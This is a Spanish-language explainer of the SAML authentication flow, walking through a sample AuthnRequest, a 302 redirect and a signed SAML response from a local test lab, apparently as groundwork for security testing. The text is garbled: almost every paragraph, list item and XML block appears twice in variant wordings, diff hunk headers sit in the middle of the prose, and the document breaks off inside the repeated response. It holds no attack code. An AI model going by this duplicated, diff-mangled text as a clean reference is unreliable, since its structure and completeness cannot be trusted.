OAuth es un estándar ligeramente más nuevo que fue co-desarrollado por Google y Twitter para permitir inicios de sesión en internet simplificados. OAuth utiliza una metodología similar a SAML para compartir información de inicio de sesión. **SAML proporciona más control** a las empresas para mantener sus inicios de sesión SSO más seguros, mientras que **OAuth es mejor en dispositivos móviles y utiliza JSON**.
OAuth es un estándar un poco más reciente que fue co-desarrollado por Google y Twitter para facilitar los inicios de sesión en Internet. OAuth utiliza una metodología similar a SAML para compartir información de inicio de sesión. **SAML ofrece más control** a las empresas para mantener sus inicios de sesión SSO más seguros, mientras que **OAuth es mejor en dispositivos móviles y utiliza JSON**.
# Esquema
![saml-flow](https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg)
1. Paso 1 - Intentamos acceder a algún recurso protegido
2. Paso 2 - El servidor donde reside ese recurso (Proveedor de servicios) no nos conoce, por lo que genera una **Solicitud SAML** para ser enviada al Proveedor de identidad. Esto sería como presentarse en Alemania sin nuestro pasaporte y ser enviado de vuelta a los Estados Unidos para obtener nuestro pasaporte antes de poder entrar al país.
2. Paso 2 - El servidor donde reside ese recurso (Proveedor de Servicios) no nos conoce, por lo que genera una **Solicitud SAML** para enviar al Proveedor de Identidad. Sería como llegar a Alemania sin nuestro pasaporte y ser enviado de vuelta a EE.UU. para obtener nuestro pasaporte antes de poder entrar al país.
3. Paso 3 - Después de generar la Solicitud SAML, el SP nos **redirige** al IdP. Nota: La Solicitud SAML pasa por nuestro navegador en el camino hacia el IdP.
4. Paso 4 - El IdP recibe la Solicitud SAML
5. Paso 4a (no se muestra en la imagen) - El IdP proporciona algún medio de autenticación; un formulario de inicio de sesión o algo similar.
6. Paso 4b (no se muestra en la imagen) - El IdP nos valida como un usuario legítimo que debería tener acceso al recurso incluido como parte de la Solicitud SAML
7. Paso 5 - El IdP crea una **Respuesta SAML**. La Respuesta SAML contiene las Afirmaciones SAML necesarias para el SP. La Afirmación generalmente incluye la siguiente información como mínimo: Indicación de que la Afirmación es del IdP correcto, un atributo **NameID** que especifica quién es el usuario y una firma digital. La Respuesta SAML también pasa por nuestro navegador.
8. Paso 6 - El IdP nos **redirige** a la URL del Servicio de Consumidor de Afirmaciones (ACS) del SP. El ACS es simplemente la URL en la que el SP espera recibir afirmaciones SAML.
5. Paso 4a (no mostrado) - El IdP proporciona algún medio de autenticación; un formulario de inicio de sesión o algo similar.
6. Paso 4b (no mostrado) - El IdP nos valida como un usuario legítimo que debería tener permiso para acceder al recurso incluido como parte de la Solicitud SAML
7. Paso 5 - El IdP crea una **Respuesta SAML**. La Respuesta SAML contiene las Afirmaciones SAML necesarias para el SP. La Afirmación generalmente incluye la siguiente información como mínimo: Indicación de que la Afirmación proviene del IdP correcto, un atributo **NameID** que especifica quién es el usuario y una firma digital. La Respuesta SAML también pasa por nuestro navegador.
8. Paso 6 - El IdP nos **redirige** a la URL del Servicio de Consumo de Afirmaciones (ACS) del SP. El ACS es simplemente la URL en la que el SP espera recibir afirmaciones SAML.
9. Paso 7 - El ACS valida la Respuesta SAML.
10. Paso 8 - Se nos permite acceder al recurso que solicitamos originalmente.
10. Paso 8 - Se nos permite acceder al recurso que originalmente solicitamos.
# Ejemplo de Solicitud SAML
Veamos más de cerca los pasos 2 y 3 descritos anteriormente. Haremos una solicitud al Proveedor de servicios de ejemplo para el recurso ubicado en [https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/), que como su nombre indica, es contenido que requiere que estemos autenticados para ver.
Vamos a examinar más de cerca los pasos 2 y 3 mencionados anteriormente. Haremos una solicitud al Proveedor de Servicios de ejemplo para el recurso ubicado en [https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/), que como su nombre indica, es contenido que requiere que estemos autenticados para ver.
_shibdemo-sp1.test.edu es una instancia virtualizada local de un IdP y SP para pruebas, no es un sitio real_
_shibdemo-sp1.test.edu es una instancia virtualizada local de un IdP y SP para pruebas, no un sitio real_
```
```
GET /secure/ HTTP/1.1
Host: shibdemo-sp1.test.edu
@ -56,29 +56,29 @@ Referer: https://shibdemo-sp1.test.edu/
Connection: close
Upgrade-Insecure-Requests: 1
```
El proveedor de servicios (SP) genera una solicitud SAML porque no estamos autenticados. A continuación, podemos ver la solicitud SAML en bruto.
El SP genera una Solicitud SAML porque no estamos autenticados. Podemos ver la Solicitud SAML en bruto a continuación.
```markup
<?xml version="1.0"?>
<samlp:AuthnRequest
xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
AssertionConsumerServiceURL="https://shibdemo-sp1.test.edu/Shibboleth.sso/SAML2/POST"
Destination="https://shibdemo-idp.test.edu/idp/profile/SAML2/Redirect/SSO"
ID="_cdae718238ba9c207a35cc7c70b046a0"
IssueInstant="2019-03-12T20:54:58Z"
ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"
Version="2.0">
<saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://shibdemo-sp1.test.edu/shibboleth</saml:Issuer>
<samlp:NameIDPolicy AllowCreate="1"/>
<samlp:AuthnRequest
xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
AssertionConsumerServiceURL="https://shibdemo-sp1.test.edu/Shibboleth.sso/SAML2/POST"
Destination="https://shibdemo-idp.test.edu/idp/profile/SAML2/Redirect/SSO"
ID="_cdae718238ba9c207a35cc7c70b046a0"
IssueInstant="2019-03-12T20:54:58Z"
ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"
Version="2.0">
<saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://shibdemo-sp1.test.edu/shibboleth</saml:Issuer>
<samlp:NameIDPolicy AllowCreate="1"/>
</samlp:AuthnRequest>
```
* **AssertionConsumerServiceURL**: Identifica a dónde el IdP debe enviar la Respuesta SAML después de la autenticación.
* **Destination**: Indica la dirección a la que se debe enviar la solicitud (IdP).
* **ProtocolBinding**: Acompaña típicamente al atributo AssertionConsumerServiceURL; define el mecanismo por el cual los mensajes del protocolo SAML serán transmitidos.
* **saml:Issuer**: Identifica la entidad que generó el mensaje de solicitud.
* **AssertionConsumerServiceURL**: Identifica dónde el IdP debe enviar la Respuesta SAML después de la autenticación
* **Destination**: Indica la dirección a la que se debe enviar la solicitud (IdP)
* **ProtocolBinding**: Acompaña típicamente al atributo AssertionConsumerServiceURL; define el mecanismo por el cual se transmitirán los mensajes del protocolo SAML
* **saml:Issuer**: Identifica la entidad que generó el mensaje de solicitud
Hemos destacado los elementos más pertinentes de la solicitud anterior, pero los detalles sobre cualquiera de los otros elementos se pueden ver en la [especificación principal](https://docs.oasis-open.org/security/saml/v2.0/saml-core-2.0-os.pdf). La solicitud anterior se traduce en algo así: "Oye, por favor autentica al usuario que me envió este mensaje y luego haz que ese mismo usuario me contacte cuando hayan terminado".
Hemos resaltado los elementos más pertinentes de la solicitud arriba, pero los detalles sobre cualquiera de los otros elementos se pueden ver en la [especificación principal](https://docs.oasis-open.org/security/saml/v2.0/saml-core-2.0-os.pdf). La solicitud anterior se resume así: "Hola, por favor autentica al usuario que envió este mensaje y luego que el mismo usuario me contacte cuando hayan terminado".
Con la Solicitud SAML creada, el SP responde ahora a nuestra solicitud GET para `/secure/` con una **redirección 302**. El 302 dirige nuestro navegador hacia el IdP. La Solicitud SAML se codifica en el encabezado **Location** de la respuesta HTTP como parte del 302.
Con la Solicitud SAML creada, el SP ahora responde a nuestra solicitud GET para `/secure/` con un **redireccionamiento 302**. El 302 dirige nuestro navegador hacia el IdP. La Solicitud SAML se codifica en el encabezado **Location** de la respuesta HTTP como parte del 302.
```markup
HTTP/1.1 302 Found
Date: Tue, 12 Mar 2019 20:54:58 GMT
@ -100,110 +100,110 @@ Content-Type: text/html; charset=iso-8859-1
<address>Apache/2.2.3 (CentOS) Server at shibdemo-sp1.test.edu Port 443</address>
</body></html>
```
El parámetro **RelayState** enviado junto con la solicitud SAML es información de estado enviada por el SP al IdP para que el SP sepa quién solicitó inicialmente el recurso cuando se reciba la respuesta SAML. La respuesta SAML debe contener el mismo valor de RelayState.
El parámetro **RelayState** enviado junto con la solicitud SAML es información de estado enviada por el SP al IdP para que el SP sepa quién solicitó inicialmente el recurso cuando la respuesta SAML regresa. La respuesta SAML debe contener el mismo valor de RelayState.
El parámetro **SAMLRequest** es una versión **comprimida** y **codificada** del mismo fragmento XML sin procesar que vimos anteriormente. SAML utiliza el algoritmo de compresión [Deflate](https://en.wikipedia.org/wiki/DEFLATE) y luego codifica en base64 el resultado.
El parámetro **SAMLRequest** es una versión **comprimida** y **codificada** del mismo fragmento de xml en bruto que vimos anteriormente. SAML utiliza el algoritmo de compresión [Deflate](https://en.wikipedia.org/wiki/DEFLATE) y luego codifica el resultado en base64.
# Ejemplo de respuesta SAML
# Ejemplo de Respuesta SAML
Vamos a evitar el paso en el que el usuario se autentica en el IdP y saltar directamente a los pasos 5 y 6 de lo que se discutió en el [Flujo de trabajo de autenticación SAML](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/#saml-authentication-workflow). Solo tenga en cuenta que lo **que vamos a ver sucede después de que el usuario se autentique en el IdP.**
Vamos a omitir el paso por el cual el usuario se autentica en el IdP y saltar directamente a los pasos 5 y 6 de lo que se discutió en el [Flujo de Autenticación SAML](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/#saml-authentication-workflow). Solo ten en cuenta que lo **que vamos a ver ocurre después de que el usuario se autentica en el IdP.**
Comencemos echando un vistazo a la respuesta SAML sin procesar.
Comencemos echando un vistazo a la respuesta SAML en bruto.
```markup
<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response Destination="https://shibdemo-sp1.test.edu/Shibboleth.sso/SAML2/POST" ID="_2af3ff4a06aa82058f0eaa8ae7866541" InResponseTo="_cdae718238ba9c207a35cc7c70b046a0" IssueInstant="2019-03-12T20:54:54.061Z" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://shibdemo-idp.test.edu/idp/shibboleth</saml:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
<ds:Reference URI="#_2af3ff4a06aa82058f0eaa8ae7866541">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/> <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<ds:DigestValue>Se+WwXd5r44J56LauTz/wnP3jWg=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>f8X28hHMpnTi/Hqi6phuxqbYKsf99Qi8QqVI3x3zRj6njs+J9ey7qxw4GTMV657IfmmMotE0IAIrmPh3lebX65bCUCpiDtFaP04KjWNGGWa7z6rjwhRIY6chYGYzdmrXWmvY2EXW3nkynAJ2vXo5mncOz2P17/bQgqDU6BTzfRzYU6q6TcGLjRd7pGMGbBm6wH5c8aHM4FaQZNv7qHkIVvTlCRcpg/b8qS2fWW8kwgklLXd1xTCXh9XedxrFWq75nSFZ6FiakfUMybC5YIqZ7nr4GfVKqdmh3wvCF/P9jrUkBNDsw3Id63UAwbnMVvBAYt2tgfiD5hpJ3ZLkzjds+g==</ds:SignatureValue>
<ds:KeyInfo>
<ds:X509Data>
<ds:X509Certificate>MIIDXTCCAkWgAwIBAgIJAO7P8i9TJMuvMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwHhcNMTgwNDA1MDI1NTUyWhcNMjgwNDA0MDI1NTUyWjBFMQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwfSJJxxWvJ2Xok+Qx1OwQa+LA6mTSomOrgcJkRhfjeA9LMBmQlZKMdHiwKCaJBm7l1G13CNN2XhBZBqLFEX/4pPO5WBakAEa8h1i1ODmge1NKntcr3jPG8pGrzQVFbTpyoPaeJM5nSJUJhdI+QlXEYRZ2WUpKrrPXaG4O/bKFQ4FP7tRiYMi7SZde0QOUSTUlO14JA5L3jNUk0eha2hVULyCEa9WjbfOfw+0TvE32MrAhsu4QJQgr18q1x4+GNuOI0LkX1/WehXDstyjX68CxHRSNfsarX7HeOvqn8HbGkIAKMG1ldmSkyvJ0DrvEU+0wTxaTXxFR+zwFOBnSKIVBwIDAQABo1AwTjAdBgNVHQ4EFgQUn3h8qx+ssGm8balncHSF9hi01NQwHwYDVR0jBBgwFoAUn3h8qx+ssGm8balncHSF9hi01NQwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAuVmxbUhFA8cdnxgwHWYXniebXpPNMfoMBPpMao20uv9dkKHH2AzuT7TWAICiSj29ZuHEVJaK1mfwErr+R8etKnGT0tA53/509+gWG0eCQSh+AF/VPWQ4JRoPMszKdLzl4surnNOA5JegKVvTcT91+G+OWv0hB4iMD/quegLSBfrlbtyTT58Moj33wDDhaMH1Dlm23zfgB/0w3ztZnnmdxXJxGZuLiybJXTMbkjhUk41udHTQcsxKdaRoaQobDNdbqyl245RP15QXKphaz8DadCyH4v8o5NIU5lZyEG7KCpWnqWe6au6OrbGqBkqDIrEue3Wnu+TFaJRXBd12D9Xb8g==</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</ds:Signature>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ID="_e0acf8ced7e2cafc7c65b2c097842486e0838d76e0" IssueInstant="2019-03-13T22:44:33Z" Version="2.0">
<saml:Issuer>https://shibdemo-idp.test.edu/idp/shibboleth</saml:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
<ds:Reference URI="#_e0acf8ced7e2cafc7c65b2c097842486e0838d76e0">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<ds:DigestValue>kDAb3x6EFvA9VblqwbIFcCnLQvo=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>e6qavbOCH8YAAMzDXnEwT4R7VBvan2gfYU6f5M1Akp6bqZqu3H4iJ5/VKtkMb7773E4RtDpY1vy9+6hLd/BQ2V5ZN6HG12JOVAgCr9rzna2sgNDYzGfmHsOwD9QJTOYZIFU3mtOSK6Lk8bZxM7wK5X0vmRNHI5a3oQlbWy9O6NtqZdm2AwI+zXb2ePV6lILjyoGkeuRId/35lA57OW+lBsGSz1T/X+5kVBdWRAYib2FAvGLIxInLt7jEDDfh93unL+YcbXevRcQLnKzrqTmu9TFIq+w0KeEnYxxPtCCmnnv86LWDhW30RJH2cS7kTsHa271RPsCCuutJD1QSaxVP1w==
</ds:SignatureValue>
<ds:KeyInfo>
<ds:X509Data>
<ds:X509Certificate>MIIDXTCCAkWgAwIBAgIJAO7P8i9TJMuvMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwHhcNMTgwNDA1MDI1NTUyWhcNMjgwNDA0MDI1NTUyWjBFMQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwfSJJxxWvJ2Xok+Qx1OwQa+LA6mTSomOrgcJkRhfjeA9LMBmQlZKMdHiwKCaJBm7l1G13CNN2XhBZBqLFEX/4pPO5WBakAEa8h1i1ODmge1NKntcr3jPG8pGrzQVFbTpyoPaeJM5nSJUJhdI+QlXEYRZ2WUpKrrPXaG4O/bKFQ4FP7tRiYMi7SZde0QOUSTUlO14JA5L3jNUk0eha2hVULyCEa9WjbfOfw+0TvE32MrAhsu4QJQgr18q1x4+GNuOI0LkX1/WehXDstyjX68CxHRSNfsarX7HeOvqn8HbGkIAKMG1ldmSkyvJ0DrvEU+0wTxaTXxFR+zwFOBnSKIVBwIDAQABo1AwTjAdBgNVHQ4EFgQUn3h8qx+ssGm8balncHSF9hi01NQwHwYDVR0jBBgwFoAUn3h8qx+ssGm8balncHSF9hi01NQwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAuVmxbUhFA8cdnxgwHWYXniebXpPNMfoMBPpMao20uv9dkKHH2AzuT7TWAICiSj29ZuHEVJaK1mfwErr+R8etKnGT0tA53/509+gWG0eCQSh+AF/VPWQ4JRoPMszKdLzl4surnNOA5JegKVvTcT91+G+OWv0hB4iMD/quegLSBfrlbtyTT58Moj33wDDhaMH1Dlm23zfgB/0w3ztZnnmdxXJxGZuLiybJXTMbkjhUk41udHTQcsxKdaRoaQobDNdbqyl245RP15QXKphaz8DadCyH4v8o5NIU5lZyEG7KCpWnqWe6au6OrbGqBkqDIrEue3Wnu+TFaJRXBd12D9Xb8g==</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</ds:Signature>
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient" SPNameQualifier="https://shibdemo-sp1.test.edu/shibboleth">_29b7a1a396d841b09fcf2b0bd8ce88fed6ad70e1a7</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData InResponseTo="_cdae718238ba9c207a35cc7c70b046a0" NotOnOrAfter="2019-03-13T22:49:33Z" Recipient="https://shibdemo-sp1.test.edu/Shibboleth.sso/SAML2/POST"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2019-03-13T22:44:03Z" NotOnOrAfter="2019-03-13T22:49:33Z">
<saml:AudienceRestriction>
<saml:Audience>https://shibdemo-sp1.test.edu/shibboleth</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2019-03-13T22:44:33Z" SessionIndex="_a52c3c1242663b44b706523f0a2ada454eb997e40a" SessionNotOnOrAfter="2019-03-14T06:44:33Z">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute Name="uid" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">epi</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="mail" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">epi@test.edu</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="first_name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">epi</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="last_name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">bar</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://shibdemo-idp.test.edu/idp/shibboleth</saml:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
<ds:Reference URI="#_2af3ff4a06aa82058f0eaa8ae7866541">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/> <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<ds:DigestValue>Se+WwXd5r44J56LauTz/wnP3jWg=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>f8X28hHMpnTi/Hqi6phuxqbYKsf99Qi8QqVI3x3zRj6njs+J9ey7qxw4GTMV657IfmmMotE0IAIrmPh3lebX65bCUCpiDtFaP04KjWNGGWa7z6rjwhRIY6chYGYzdmrXWmvY2EXW3nkynAJ2vXo5mncOz2P17/bQgqDU6BTzfRzYU6q6TcGLjRd7pGMGbBm6wH5c8aHM4FaQZNv7qHkIVvTlCRcpg/b8qS2fWW8kwgklLXd1xTCXh9XedxrFWq75nSFZ6FiakfUMybC5YIqZ7nr4GfVKqdmh3wvCF/P9jrUkBNDsw3Id63UAwbnMVvBAYt2tgfiD5hpJ3ZLkzjds+g==</ds:SignatureValue>
<ds:KeyInfo>
<ds:X509Data>
<ds:X509Certificate>MIIDXTCCAkWgAwIBAgIJAO7P8i9TJMuvMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwHhcNMTgwNDA1MDI1NTUyWhcNMjgwNDA0MDI1NTUyWjBFMQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwfSJJxxWvJ2Xok+Qx1OwQa+LA6mTSomOrgcJkRhfjeA9LMBmQlZKMdHiwKCaJBm7l1G13CNN2XhBZBqLFEX/4pPO5WBakAEa8h1i1ODmge1NKntcr3jPG8pGrzQVFbTpyoPaeJM5nSJUJhdI+QlXEYRZ2WUpKrrPXaG4O/bKFQ4FP7tRiYMi7SZde0QOUSTUlO14JA5L3jNUk0eha2hVULyCEa9WjbfOfw+0TvE32MrAhsu4QJQgr18q1x4+GNuOI0LkX1/WehXDstyjX68CxHRSNfsarX7HeOvqn8HbGkIAKMG1ldmSkyvJ0DrvEU+0wTxaTXxFR+zwFOBnSKIVBwIDAQABo1AwTjAdBgNVHQ4EFgQUn3h8qx+ssGm8balncHSF9hi01NQwHwYDVR0jBBgwFoAUn3h8qx+ssGm8balncHSF9hi01NQwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAuVmxbUhFA8cdnxgwHWYXniebXpPNMfoMBPpMao20uv9dkKHH2AzuT7TWAICiSj29ZuHEVJaK1mfwErr+R8etKnGT0tA53/509+gWG0eCQSh+AF/VPWQ4JRoPMszKdLzl4surnNOA5JegKVvTcT91+G+OWv0hB4iMD/quegLSBfrlbtyTT58Moj33wDDhaMH1Dlm23zfgB/0w3ztZnnmdxXJxGZuLiybJXTMbkjhUk41udHTQcsxKdaRoaQobDNdbqyl245RP15QXKphaz8DadCyH4v8o5NIU5lZyEG7KCpWnqWe6au6OrbGqBkqDIrEue3Wnu+TFaJRXBd12D9Xb8g==</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</ds:Signature>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ID="_e0acf8ced7e2cafc7c65b2c097842486e0838d76e0" IssueInstant="2019-03-13T22:44:33Z" Version="2.0">
<saml:Issuer>https://shibdemo-idp.test.edu/idp/shibboleth</saml:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
<ds:Reference URI="#_e0acf8ced7e2cafc7c65b2c097842486e0838d76e0">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<ds:DigestValue>kDAb3x6EFvA9VblqwbIFcCnLQvo=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>e6qavbOCH8YAAMzDXnEwT4R7VBvan2gfYU6f5M1Akp6bqZqu3H4iJ5/VKtkMb7773E4RtDpY1vy9+6hLd/BQ2V5ZN6HG12JOVAgCr9rzna2sgNDYzGfmHsOwD9QJTOYZIFU3mtOSK6Lk8bZxM7wK5X0vmRNHI5a3oQlbWy9O6NtqZdm2AwI+zXb2ePV6lILjyoGkeuRId/35lA57OW+lBsGSz1T/X+5kVBdWRAYib2FAvGLIxInLt7jEDDfh93unL+YcbXevRcQLnKzrqTmu9TFIq+w0KeEnYxxPtCCmnnv86LWDhW30RJH2cS7kTsHa271RPsCCuutJD1QSaxVP1w==
</ds:SignatureValue>
<ds:KeyInfo>
<ds:X509Data>
<ds:X509Certificate>MIIDXTCCAkWgAwIBAgIJAO7P8i9TJMuvMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwHhcNMTgwNDA1MDI1NTUyWhcNMjgwNDA0MDI1NTUyWjBFMQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwfSJJxxWvJ2Xok+Qx1OwQa+LA6mTSomOrgcJkRhfjeA9LMBmQlZKMdHiwKCaJBm7l1G13CNN2XhBZBqLFEX/4pPO5WBakAEa8h1i1ODmge1NKntcr3jPG8pGrzQVFbTpyoPaeJM5nSJUJhdI+QlXEYRZ2WUpKrrPXaG4O/bKFQ4FP7tRiYMi7SZde0QOUSTUlO14JA5L3jNUk0eha2hVULyCEa9WjbfOfw+0TvE32MrAhsu4QJQgr18q1x4+GNuOI0LkX1/WehXDstyjX68CxHRSNfsarX7HeOvqn8HbGkIAKMG1ldmSkyvJ0DrvEU+0wTxaTXxFR+zwFOBnSKIVBwIDAQABo1AwTjAdBgNVHQ4EFgQUn3h8qx+ssGm8balncHSF9hi01NQwHwYDVR0jBBgwFoAUn3h8qx+ssGm8balncHSF9hi01NQwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAuVmxbUhFA8cdnxgwHWYXniebXpPNMfoMBPpMao20uv9dkKHH2AzuT7TWAICiSj29ZuHEVJaK1mfwErr+R8etKnGT0tA53/509+gWG0eCQSh+AF/VPWQ4JRoPMszKdLzl4surnNOA5JegKVvTcT91+G+OWv0hB4iMD/quegLSBfrlbtyTT58Moj33wDDhaMH1Dlm23zfgB/0w3ztZnnmdxXJxGZuLiybJXTMbkjhUk41udHTQcsxKdaRoaQobDNdbqyl245RP15QXKphaz8DadCyH4v8o5NIU5lZyEG7KCpWnqWe6au6OrbGqBkqDIrEue3Wnu+TFaJRXBd12D9Xb8g==</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</ds:Signature>
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient" SPNameQualifier="https://shibdemo-sp1.test.edu/shibboleth">_29b7a1a396d841b09fcf2b0bd8ce88fed6ad70e1a7</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData InResponseTo="_cdae718238ba9c207a35cc7c70b046a0" NotOnOrAfter="2019-03-13T22:49:33Z" Recipient="https://shibdemo-sp1.test.edu/Shibboleth.sso/SAML2/POST"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2019-03-13T22:44:03Z" NotOnOrAfter="2019-03-13T22:49:33Z">
<saml:AudienceRestriction>
<saml:Audience>https://shibdemo-sp1.test.edu/shibboleth</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
